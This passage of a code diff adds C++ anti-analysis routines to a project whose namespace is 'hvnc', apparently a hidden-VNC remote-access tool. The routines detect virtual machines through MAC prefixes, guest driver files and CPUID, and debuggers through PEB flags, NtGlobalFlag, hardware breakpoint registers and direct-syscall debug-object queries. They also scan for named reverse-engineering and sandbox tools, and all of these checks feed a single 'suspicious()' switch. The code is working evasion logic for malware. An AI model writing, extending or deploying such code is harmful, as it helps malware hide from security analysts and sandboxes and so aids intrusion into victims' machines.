||||
{ 0x00, 0x50, 0x56 }, // VMware
|
||||
{ 0x00, 0x0c, 0x29 }, // VMware
|
||||
{ 0x08, 0x00, 0x27 }, // VirtualBox / Oracle
|
||||
{ 0x52, 0x54, 0x00 }, // QEMU / KVM
|
||||
{ 0x00, 0x16, 0x3e }, // Xen
|
||||
{ 0x00, 0x1c, 0x42 }, // Parallels
|
||||
};
|
||||
for (auto& o : known)
|
||||
if (mac[0] == o.o0 && mac[1] == o.o1 && mac[2] == o.o2) return true;
|
||||
return false;
|
||||
}
|
||||
|
||||
bool adapter_vm_oui() {
|
||||
ULONG sz = 0;
|
||||
if (GetAdaptersAddresses(AF_UNSPEC, 0, nullptr, nullptr, &sz) != ERROR_BUFFER_OVERFLOW) return false;
|
||||
std::vector<uint8_t> buf(sz);
|
||||
auto* aa = reinterpret_cast<PIP_ADAPTER_ADDRESSES>(buf.data());
|
||||
if (GetAdaptersAddresses(AF_UNSPEC, 0, nullptr, aa, &sz) != NO_ERROR) return false;
|
||||
for (const auto* a = aa; a; a = a->Next)
|
||||
if (mac_is_vm_oui(a->PhysicalAddress, a->PhysicalAddressLength)) return true;
|
||||
return false;
|
||||
}
|
||||
|
||||
// Guest additions / helper drivers the big hypervisors install inside the VM.
|
||||
bool guest_driver_files() {
|
||||
wchar_t sys[MAX_PATH];
|
||||
if (!GetSystemDirectoryW(sys, MAX_PATH)) return false;
|
||||
const std::wstring dir = std::wstring(sys) + L"\\drivers\\";
|
||||
static const wchar_t* names[] = {
|
||||
L"vmhgfs.sys", L"vmemctl.sys", L"vmrawdsk.sys", // VMware
|
||||
L"VBoxGuest.sys", L"VBoxSF.sys", L"VBoxMouse.sys", // VirtualBox
|
||||
L"balloon.sys", L"virtio_blk.sys", L"viostor.sys", // QEMU/KVM/virtio
|
||||
L"vmbus.sys", L"storvsc.sys", L"VMSrvc.dll", // Hyper-V
|
||||
};
|
||||
for (auto* n : names)
|
||||
if (GetFileAttributesW((dir + n).c_str()) != INVALID_FILE_ATTRIBUTES) return true;
|
||||
return false;
|
||||
}
|
||||
|
||||
// PEB BeingDebugged flag is a direct in-memory read, no API call exposed.
|
||||
bool peb_debugged() {
|
||||
#if defined(_M_X64)
|
||||
uint8_t* peb = reinterpret_cast<uint8_t*>(__readgsqword(0x60));
|
||||
return peb && (peb[0x02] & 1) != 0;
|
||||
#else
|
||||
return false;
|
||||
#endif
|
||||
}
|
||||
|
||||
// NtGlobalFlag set away from zero with either of the heap bits means a debugger
|
||||
// planted the heap flags. Direct PEB read again.
|
||||
bool peb_global_flag() {
|
||||
#if defined(_M_X64)
|
||||
uint8_t* peb = reinterpret_cast<uint8_t*>(__readgsqword(0x60));
|
||||
if (!peb) return false;
|
||||
const uint32_t flags = *reinterpret_cast<const uint32_t*>(peb + 0xBC);
|
||||
// FLG_HEAP_ENABLE_TAIL_CHECK|FLG_HEAP_ENABLE_FREE_CHECK|FLG_HEAP_VALIDATE_PARAMETERS
|
||||
return (flags & 0x70) != 0;
|
||||
#else
|
||||
return false;
|
||||
#endif
|
||||
}
|
||||
|
||||
// Running processes a reverse-engineering habitually leaves around. Names are
|
||||
// the actual PE filenames so a process snapshot compare is exact.
|
||||
const wchar_t* kAnalysisProcesses[] = {
|
||||
L"x64dbg.exe", L"x32dbg.exe", L"ollydbg.exe", L"ollydbg_x64.exe",
|
||||
L"windbg.exe", L"windbgx.exe", L"ida.exe", L"ida64.exe", L"idaq.exe", L"idaq64.exe",
|
||||
L"dnspy.exe", L"processhacker.exe", L"processhacker2.exe",
|
||||
L"procmon.exe", L"procmon64.exe", L"procexp.exe", L"procexp64.exe",
|
||||
L"cheatengine-x86_64.exe", L"cheatengine-i386.exe", L"fiddler.exe",
|
||||
L"apimonitor-x64.exe", L"apimonitor-x86.exe", L"cutter.exe", L"radare2.exe",
|
||||
};
|
||||
|
||||
// Window class names for the debuggers that expose one. Qt apps (x64dbg,
|
||||
// radare2's GUI, Cutter, etc.) share Qt5QWindowIcon, which is too generic to
|
||||
// use here; their PE names in kAnalysisProcesses already cover them.
|
||||
const wchar_t* kAnalysisClasses[] = {
|
||||
L"OLLYDBG", L"WinDbgFrameClass", L"IDAMainWindow",
|
||||
};
|
||||
|
||||
// Modules that only load when a sandbox/analysis wrapper wraps the process.
|
||||
const wchar_t* kAnalysisModules[] = {
|
||||
L"SbieDll.dll", L"SbieDll64.dll", L"api_log.dll", L"dir_watch.dll", L"snxhk.dll",
|
||||
};
|
||||
|
||||
bool process_matches(const wchar_t* name) {
|
||||
for (auto* p : kAnalysisProcesses)
|
||||
if (_wcsicmp(name, p) == 0) return true;
|
||||
return false;
|
||||
}
|
||||
|
||||
} // namespace
|
||||
|
||||
bool vm_detected() {
|
||||
if (cpu_vm_hint()) return true;
|
||||
if (brand_is_known(hypervisor_brand())) return true;
|
||||
if (firmware_vm_tokens()) return true;
|
||||
if (adapter_vm_oui()) return true;
|
||||
if (guest_driver_files()) return true;
|
||||
return false;
|
||||
}
|
||||
|
||||
bool debugger_detected() {
|
||||
if (peb_debugged()) return true;
|
||||
if (peb_global_flag()) return true;
|
||||
if (syscall::debugger_present()) return true;
|
||||
// Hardware breakpoints in DR0-DR3 survive manual debugger unload.
|
||||
CONTEXT ctx = {};
|
||||
ctx.ContextFlags = CONTEXT_DEBUG_REGISTERS;
|
||||
if (GetThreadContext(GetCurrentThread(), &ctx))
|
||||
if (ctx.Dr0 || ctx.Dr1 || ctx.Dr2 || ctx.Dr3) return true;
|
||||
return false;
|
||||
}
|
||||
|
||||
bool tool_detected() {
|
||||
// Loaded modules: cheapest signal, no snapshot needed.
|
||||
for (auto* m : kAnalysisModules)
|
||||
if (GetModuleHandleW(m)) return true;
|
||||
|
||||
// Window classes of the common debuggers.
|
||||
for (auto* cls : kAnalysisClasses)
|
||||
if (FindWindowW(cls, nullptr)) return true;
|
||||
|
||||
// Process snapshot for the named binaries.
|
||||
HANDLE snap = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
|
||||
if (snap == INVALID_HANDLE_VALUE) return false;
|
||||
PROCESSENTRY32W pe = {};
|
||||
pe.dwSize = sizeof(pe);
|
||||
bool found = false;
|
||||
if (Process32FirstW(snap, &pe)) {
|
||||
do {
|
||||
if (process_matches(pe.szExeFile)) { found = true; break; }
|
||||
} while (Process32NextW(snap, &pe));
|
||||
}
|
||||
CloseHandle(snap);
|
||||
return found;
|
||||
}
|
||||
|
||||
bool suspicious() {
|
||||
return vm_detected() || debugger_detected() || tool_detected();
|
||||
}
|
||||
|
||||
} // namespace hvnc::env
|
||||
@@ -0,0 +1,24 @@
|
||||
// VM / debugger / analysis-tool fingerprinting (anti-analysis). Pure
|
||||
// user-mode checks: CPUID leaves, firmware tables, adapter OUIs, guest driver
|
||||
// files, PEB debug flags, debug-port queries, and a process/window/module scan
|
||||
// for reverse-engineering tooling.
|
||||
#pragma once
|
||||
|
||||
namespace hvnc::env {
|
||||
|
||||
// True when the host looks virtualized (CPUID hypervisor bit or brand string,
|
||||
// SMBIOS/ACPI vendor strings, adapter OUI prefix, or guest driver files).
|
||||
bool vm_detected();
|
||||
|
||||
// True when a debugger is attached (PEB BeingDebugged, NtGlobalFlag, debug
|
||||
// port/object/flags, or non-zero hardware breakpoints).
|
||||
bool debugger_detected();
|
||||
|
||||
// True when a known debugger / disassembler / decompiler / sandbox tool is
|
||||
// running, has a window, or is loaded in this process.
|
||||
bool tool_detected();
|
||||
|
||||
// Any of the above.
|
||||
bool suspicious();
|
||||
|
||||
} // namespace hvnc::env
|
||||
@@ -410,6 +410,18 @@ bool debugger_present() {
|
||||
};
|
||||
st = dispatch(sys().NtQueryInformationProcess, a2, 5);
|
||||
if (NT_SUCCESS(st) && flags == 0) return true; // 0 == debugger present
|
||||
|
||||
// ProcessDebugObjectHandle (0x1E): a non-null handle means a debug object
|
||||
// is attached. On newer builds this is the more reliable of the three.
|
||||
HANDLE dbg_obj = nullptr;
|
||||
const uintptr_t a3[5] = {
|
||||
reinterpret_cast<uintptr_t>(INVALID_HANDLE_VALUE),
|
||||
0x1E /* ProcessDebugObjectHandle */, reinterpret_cast<uintptr_t>(&dbg_obj),
|
||||
sizeof(dbg_obj), reinterpret_cast<uintptr_t>(&retlen),
|
||||
};
|
||||
st = dispatch(sys().NtQueryInformationProcess, a3, 5);
|
||||
if (NT_SUCCESS(st) && dbg_obj != nullptr) return true;
|
||||
|
||||
return false;
|
||||
}
|
||||
|
||||
|
||||
Reference in New Issue
Block a user